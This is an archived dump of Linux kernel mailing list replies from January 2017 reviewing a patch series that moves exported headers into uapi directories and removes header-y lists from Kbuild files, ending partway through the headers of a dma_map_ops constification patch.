 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:1979 gmane.linux.ports.ppc64.devel:137069 gmane.linux.kbuild.devel:16265 gmane.linux.ports.mips.general:57396 gmane.linux.alsa.devel:162952 gmane.linux.ports.ia64:27540 gmane.linux.documentation:44120 gmane.comp.video.dri.devel:175725 gmane.linux.drivers.mtd:71181 gmane.linux.ports.sparc:24298 gmane.linux.kernel.cross-arch:34692 gmane.linux.drivers.rdma:45255 gmane.linux.ports.hexagon:1088 gmane.linux.ports.sh.devel:54947 gmane.linux.scsi.open-fcoe.devel:12996 gmane.linux.drivers.video-input-infrastructure:111747 gmane.linux.raid:55321 gmane.linux.kernel.metag:1211 gmane.linux.ports.arm.kernel:548903 gmane.linux.nfs:81347 gmane.linux.ports.parisc:27159 gmane.linux.network:448890 gmane.linux.kernel.mmc:41972 gmane.linux.kernel:2383172 gmane.linux.kernel.spi.devel:26068 gmane.comp.security.firewalls.netfilter.devel:66805 gmane.linux.ports.alpha:4007
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/1979>

On Friday, January 6, 2017 10:43:52 AM CET Nicolas Dichtel wrote:
> Here is the v2 of this series. The first 5 patches are just cleanup: some
> exported headers were still under a non-uapi directory.

Since this is meant as a cleanup, I commented on this to point out a cleaner
way to do the same.

> The patch 6 was spotted by code review: there is no in-tree user of this
> functionality.
> The last patch remove the use of header-y. Now all files under an uapi
> directory are exported.

Very nice!

> asm is a bit special, most of architectures export asm/<arch>/include/uapi/asm
> only, but there is two exceptions:
>  - cris which exports arch/cris/include/uapi/arch-v[10|32];

This is interesting, though not your problem. Maybe someone who understands
cris better can comment on this: How is the decision made about which of
the arch/user.h headers gets used? I couldn't find that in the sources,
but it appears to be based on kernel compile-time settings, which is
wrong for user space header files that should be independent of the kernel
config.

>  - tile which exports arch/tile/include/uapi/arch.
> Because I don't know if the output of 'make headers_install_all' can be changed,
> I introduce subdir-y in Kbuild file. The headers_install_all target copies all
> asm/<arch>/include/uapi/asm to usr/include/asm-<arch> but
> arch/cris/include/uapi/arch-v[10|32] and arch/tile/include/uapi/arch are not
> prefixed (they are put asis in usr/include/). If it's acceptable to modify the
> output of 'make headers_install_all' to export asm headers in
> usr/include/asm-<arch>/asm, then I could remove this new subdir-y and exports
> everything under arch/<arch>/include/uapi/.

I don't know if anyone still uses "make headers_install_all", I suspect
distros these days all use "make headers_install", so it probably
doesn't matter much.

In case of cris, it should be easy enough to move all the contents of the
uapi/arch-*/*.h headers into the respective uapi/asm/*.h headers, they
only seem to be referenced from there.

For tile, I suspect that would not work as the arch/*.h headers are
apparently defined as interfaces for both user space and kernel.

> Note also that exported files for asm are a mix of files listed by:
>  - include/uapi/asm-generic/Kbuild.asm;
>  - arch/x86/include/uapi/asm/Kbuild;
>  - arch/x86/include/asm/Kbuild.
> This complicates a lot the processing (arch/x86/include/asm/Kbuild is also
> used by scripts/Makefile.asm-generic).
> 
> This series has been tested with a 'make headers_install' on x86 and a
> 'make headers_install_all'. I've checked the result of both commands.
> 
> This patch is built against linus tree. I don't know if it should be
> made against antoher tree.

The series should probably get merged through the kbuild tree, but testing
it on mainline is fine here.

	Arnd

From - Thu Nov 08 21:39:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.kbuild.devel,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha
Subject: Re: [PATCH v2 1/7] arm: put types.h in uapi
Date: Mon, 9 Jan 2017 12:00:04 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <20170109120004.GV14217@n2100.armlinux.org.uk>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
 <1483695839-18660-2-git-send-email-nicolas.dichtel@6wind.com>
 <1990589.0aJHWbJK4F@wuerfel>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1483963275 9446 195.159.176.226 (9 Jan 2017 12:01:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Jan 2017 12:01:15 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linuxppc-dev@lists.ozlabs.org, linux-kbuild@vger.kernel.org,
        linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
        linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org,
        airlied@linux.ie, linux-fbdev@vger.kernel.org,
        dri-devel@lists.freedesktop.org, linux-mtd@lists.infradead.org,
        sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
        linux-c6x-dev@linux-c6x.org, linux-rdma@vger.kernel.org,
        linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org,
        coreteam@netfilter.org, fcoe-devel@open-fcoe.org,
        xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
        linux-media@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-raid@vger.kernel.org, linux-m68k@lists.linux-m68
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jan 09 13:01:07 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cQYdK-0001HA-8U
	for sgi-linux-mips@gmane.org; Mon, 09 Jan 2017 13:01:02 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:56816 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23992246AbdAIMBEYj7Zc (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 9 Jan 2017 13:01:04 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 09 Jan 2017 13:00:50 +0100 (CET)
Original-Received: from pandora.armlinux.org.uk ([IPv6:2001:4d48:ad52:3201:214:fdff:fe10:1be6]:42264
        "EHLO pandora.armlinux.org.uk" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S23992278AbdAIMAnnVrfc (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 9 Jan 2017 13:00:43 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=armlinux.org.uk; s=pandora-2014;
        h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=jktjZiQqGTR9TYJRzbsj/BKIvXGMeeij7yFYa9vwtFg=;
        b=KUgmboMQX05vDWqoFVL+X9VySNMwxyiVR/1HlsvCMR29qhGZ7edgJOvmvsVJHs/nvcfVoRSQRPRXgOyublpgIXXVe5kZ/gXGZwvrgvmptGta6TXlZZr+X/ORt+h21fdmfyl1izCGK309ruFfh+dHeKNI2YoM3SDcpZDB8tlwBko=;
Original-Received: from n2100.armlinux.org.uk ([fd8f:7570:feb6:1:214:fdff:fe10:4f86]:37295)
        by pandora.armlinux.org.uk with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256)
        (Exim 4.82_1-5b7a7c0-XX)
        (envelope-from <linux@armlinux.org.uk>)
        id 1cQYca-0005pf-E0; Mon, 09 Jan 2017 12:00:16 +0000
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim 4.76)
        (envelope-from <linux@n2100.armlinux.org.uk>)
        id 1cQYcQ-0004Re-68; Mon, 09 Jan 2017 12:00:06 +0000
Content-Disposition: inline
In-Reply-To: <1990589.0aJHWbJK4F@wuerfel>
X-archive-position: 56229
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux@armlinux.org.uk
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:57397 gmane.linux.ports.ppc64.devel:137072 gmane.linux.kbuild.devel:16266 gmane.linux.alsa.devel:162955 gmane.linux.ports.ia64:27541 gmane.linux.documentation:44121 gmane.comp.video.dri.devel:175731 gmane.linux.drivers.mtd:71182 gmane.linux.ports.sparc:24300 gmane.linux.kernel.cross-arch:34693 gmane.linux.drivers.rdma:45256 gmane.linux.ports.hexagon:1089 gmane.linux.ports.sh.devel:54948 gmane.linux.scsi.open-fcoe.devel:12997 gmane.linux.kernel.arc:1980 gmane.linux.drivers.video-input-infrastructure:111750 gmane.linux.raid:55322 gmane.linux.kernel.metag:1212 gmane.linux.ports.arm.kernel:548908 gmane.linux.nfs:81348 gmane.linux.ports.parisc:27160 gmane.linux.network:448893 gmane.linux.kernel.mmc:41973 gmane.linux.kernel:2383191 gmane.linux.kernel.spi.devel:26069 gmane.comp.security.firewalls.netfilter.devel:66806 gmane.linux.ports.alpha:4008
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/57397>

On Mon, Jan 09, 2017 at 12:33:02PM +0100, Arnd Bergmann wrote:
> On Friday, January 6, 2017 10:43:53 AM CET Nicolas Dichtel wrote:
> > 
> > diff --git a/arch/arm/include/asm/types.h b/arch/arm/include/asm/types.h
> > index a53cdb8f068c..c48fee3d7b3b 100644
> > --- a/arch/arm/include/asm/types.h
> > +++ b/arch/arm/include/asm/types.h
> > @@ -1,40 +1,6 @@
> >  #ifndef _ASM_TYPES_H
> >  #define _ASM_TYPES_H
> >  
> > -#include <asm-generic/int-ll64.h>
> ...
> > -#define __UINTPTR_TYPE__       unsigned long
> > -#endif
> > +#include <uapi/asm/types.h>
> >  
> >  #endif /* _ASM_TYPES_H */
> > 
> 
> Moving the file is correct as far as I can tell, but the extra
> #include is not necessary here, as the kernel will automatically
> search both arch/arm/include/ and arch/arm/include/uapi/.

Indeed, I'd like to see the include/asm file gone.

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line: currently at 9.6Mbps down 400kbps up
according to speedtest.net.



From - Thu Nov 08 21:39:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 7/7] uapi: export all headers under uapi directories
Date: Mon, 9 Jan 2017 12:01:08 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <20170109120107.GW14217@n2100.armlinux.org.uk>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
 <1483695839-18660-8-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1483963329 24661 195.159.176.226 (9 Jan 2017 12:02:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Jan 2017 12:02:09 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: arnd-r2nGTMty4D4@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
        alsa-devel-K7yf7f+aM1XWsZ/bQMPhNw@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-doc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
        linux-fbdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org,
        linux-mtd-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
        linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, coreteam-Cap9r6Oaw4JrovVCs/uTlw@public.gmane.org,
        fcoe-devel-s9riP+hp16TNLxjTenLetw@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
        linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-media-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        uclinux-h8-devel-5NWGOfrQmneRv+LV9MX5uooqe+aC9MnS@public.gmane.org,
        linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org, linux-kbuild-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
        linux-raid-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, lin
To: Nicolas Dichtel <nicolas.dichtel-pdR9zngts4EAvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Jan 09 13:02:01 2017
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1cQYe3-0004jG-9S
	for glkm-linux-metag@m.gmane.org; Mon, 09 Jan 2017 13:01:47 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S937848AbdAIMBs (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
        Mon, 9 Jan 2017 07:01:48 -0500
Original-Received: from pandora.armlinux.org.uk ([78.32.30.218]:34862 "EHLO
        pandora.armlinux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S936099AbdAIMBh (ORCPT
        <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 9 Jan 2017 07:01:37 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=armlinux.org.uk; s=pandora-2014;
        h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=Ids+U8uv4m2VXYi9TPpEO/B4YwgCpc0T6RAdDMZ4npc=;
        b=HoI3akt0XPLXuot0tNN9OJjGNg4Ddj6JZPlXwkyU+cSOly0Oe/3pMs9Ybjo9zq/AurBVSIOeunfBaAJoYfA7/uMsw0TgqDtQQScr/CuAh2bOCKeqnLWl2ZylQWoiaRhOr0TVUDF4oOiqQN54K3bFAqipxEhWlTq6kRKYQgA1pas=;
Original-Received: from n2100.armlinux.org.uk ([fd8f:7570:feb6:1:214:fdff:fe10:4f86]:37300)
        by pandora.armlinux.org.uk with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256)
        (Exim 4.82_1-5b7a7c0-XX)
        (envelope-from <linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org>)
        id 1cQYdb-0005qh-2H; Mon, 09 Jan 2017 12:01:19 +0000
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim 4.76)
        (envelope-from <linux-l+eeeJia6m9URfEZ8mYm6t73F7V6hmMc@public.gmane.org>)
        id 1cQYdR-0004T1-4f; Mon, 09 Jan 2017 12:01:09 +0000
Content-Disposition: inline
In-Reply-To: <1483695839-18660-8-git-send-email-nicolas.dichtel-pdR9zngts4EAvxtiuMwx3w@public.gmane.org>
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:1213 gmane.linux.ports.mips.general:57398 gmane.linux.alsa.devel:162956 gmane.linux.ports.ia64:27542 gmane.linux.documentation:44122 gmane.comp.video.dri.devel:175732 gmane.linux.drivers.mtd:71183 gmane.linux.ports.sparc:24301 gmane.linux.kernel.cross-arch:34694 gmane.linux.drivers.rdma:45257 gmane.linux.ports.hexagon:1090 gmane.linux.ports.sh.devel:54949 gmane.linux.scsi.open-fcoe.devel:12998 gmane.linux.kernel.arc:1981 gmane.linux.drivers.video-input-infrastructure:111751 gmane.linux.kbuild.devel:16267 gmane.linux.raid:55323 gmane.linux.ports.arm.kernel:548909 gmane.linux.nfs:81349 gmane.linux.ports.parisc:27161 gmane.linux.network:448894 gmane.linux.kernel.mmc:41974 gmane.linux.kernel:2383192 gmane.linux.kernel.spi.devel:26070 gmane.comp.security.firewalls.netfilter.devel:66807 gmane.linux.ports.alpha:4009 gmane.linux.ports.ppc64.devel:137073
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/1213>

On Fri, Jan 06, 2017 at 10:43:59AM +0100, Nicolas Dichtel wrote:
> diff --git a/arch/arm/include/uapi/asm/Kbuild b/arch/arm/include/uapi/asm/Kbuild
> index 46a76cd6acb6..607f702c2d62 100644
> --- a/arch/arm/include/uapi/asm/Kbuild
> +++ b/arch/arm/include/uapi/asm/Kbuild
> @@ -1,23 +1,6 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
>  
> -header-y += auxvec.h
> -header-y += byteorder.h
> -header-y += fcntl.h
> -header-y += hwcap.h
> -header-y += ioctls.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += perf_regs.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += setup.h
> -header-y += sigcontext.h
> -header-y += signal.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += unistd.h
>  genhdr-y += unistd-common.h
>  genhdr-y += unistd-oabi.h
>  genhdr-y += unistd-eabi.h

Acked-by: Russell King <rmk+kernel-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org>

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line: currently at 9.6Mbps down 400kbps up
according to speedtest.net.

From - Thu Nov 08 21:39:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 7/7] uapi: export all headers under uapi directories
Date: Mon, 9 Jan 2017 04:56:38 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20170109125638.GA15506@infradead.org>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
 <1483695839-18660-8-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1483966613 28385 195.159.176.226 (9 Jan 2017 12:56:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Jan 2017 12:56:53 +0000 (UTC)
User-Agent: Mutt/1.7.1 (2016-10-04)
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, airlied@linux.ie,
 linux-fbdev@vger.kernel.org, dri-devel@lists.freedesktop.org,
 linux-mtd@lists.infradead.org, sparclinux@vger.kernel.org,
 linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
 linux-am33-list@redhat.com, linux-c6x-dev@linux-c6x.org,
 linux-rdma@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-sh@vger.kernel.org, coreteam@netfilter.org, fcoe-devel@open-fcoe.org,
 xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
 linux-media@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
 linux-xtensa@linux-xtensa.org, arnd@arndb.de, linux-kbuild@vger.kernel.org,
 adi-buildroot-devel@lists.sourceforge.net, linux-raid@vger.kernel.org,
 linux-m68k@lists.linux-m68k.org, openrisc@lists.librecores.org,
 linux-metag@vger.kernel.org, linux-arm
To: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Jan 09 13:56:45 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1cQZVB-0006C0-7C
	for gla-linux-snps-arc@m.gmane.org; Mon, 09 Jan 2017 13:56:41 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1cQZVF-0004Pd-F9; Mon, 09 Jan 2017 12:56:45 +0000
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.87 #1 (Red Hat
 Linux)) id 1cQZV8-0004MT-QS; Mon, 09 Jan 2017 12:56:38 +0000
Content-Disposition: inline
In-Reply-To: <1483695839-18660-8-git-send-email-nicolas.dichtel@6wind.com>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:1982 gmane.linux.ports.mips.general:57399 gmane.linux.alsa.devel:162959 gmane.linux.ports.ia64:27543 gmane.linux.documentation:44124 gmane.comp.video.dri.devel:175735 gmane.linux.drivers.mtd:71185 gmane.linux.ports.sparc:24302 gmane.linux.kernel.cross-arch:34695 gmane.linux.drivers.rdma:45260 gmane.linux.ports.hexagon:1091 gmane.linux.ports.sh.devel:54950 gmane.linux.scsi.open-fcoe.devel:12999 gmane.linux.drivers.video-input-infrastructure:111756 gmane.linux.kbuild.devel:16268 gmane.linux.raid:55327 gmane.linux.kernel.metag:1214 gmane.linux.ports.arm.kernel:548922 gmane.linux.nfs:81350 gmane.linux.ports.parisc:27162 gmane.linux.network:448905 gmane.linux.kernel.mmc:41975 gmane.linux.kernel:2383213 gmane.linux.kernel.spi.devel:26071 gmane.comp.security.firewalls.netfilter.devel:66808 gmane.linux.ports.alpha:4010 gmane.linux.ports.ppc64.devel:137074
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/1982>

On Fri, Jan 06, 2017 at 10:43:59AM +0100, Nicolas Dichtel wrote:
> Regularly, when a new header is created in include/uapi/, the developer
> forgets to add it in the corresponding Kbuild file. This error is usually
> detected after the release is out.
> 
> In fact, all headers under uapi directories should be exported, thus it's
> useless to have an exhaustive list.
> 
> After this patch, the following files, which were not exported, are now
> exported (with make headers_install_all):

... snip ...

> linux/genwqe/.install
> linux/genwqe/..install.cmd
> linux/cifs/.install
> linux/cifs/..install.cmd

I'm pretty sure these should not be exported!

From - Thu Nov 08 21:39:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bart Van Assche <bart.vanassche@sandisk.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.drivers.rdma,gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc
Subject: [PATCH 1/9] treewide: Constify most dma_map_ops structures
Date: Tue, 10 Jan 2017 16:56:40 -0800
Lines: 2394
Approved: news@gmane.org
Message-ID: <20170111005648.14988-2-bart.vanassche@sandisk.com>
References: <20170111005648.14988-1-bart.vanassche@sandisk.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1484096272 24870 195.159.176.226 (11 Jan 2017 00:57:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Jan 2017 00:57:52 +0000 (UTC)
Cc: <linux-rdma@vger.kernel.org>, <linux-kernel@vger.kernel.org>,
        "Aurelien Jacquiot" <a-jacquiot@ti.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        David Howells <dhowells@redhat.com>,
        "David S . Miller" <davem@davemloft.net>,
        Fenghua Yu <fenghua.yu@intel.com>,
        "Geert Uytterhoeven" <geert@linux-m68k.org>,
        Geoff Levand <geoff@infradead.org>,
        Guan Xuetao <gxt@mprc.pku.edu.cn>,
        "H . Peter Anvin" <hpa@zytor.com>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
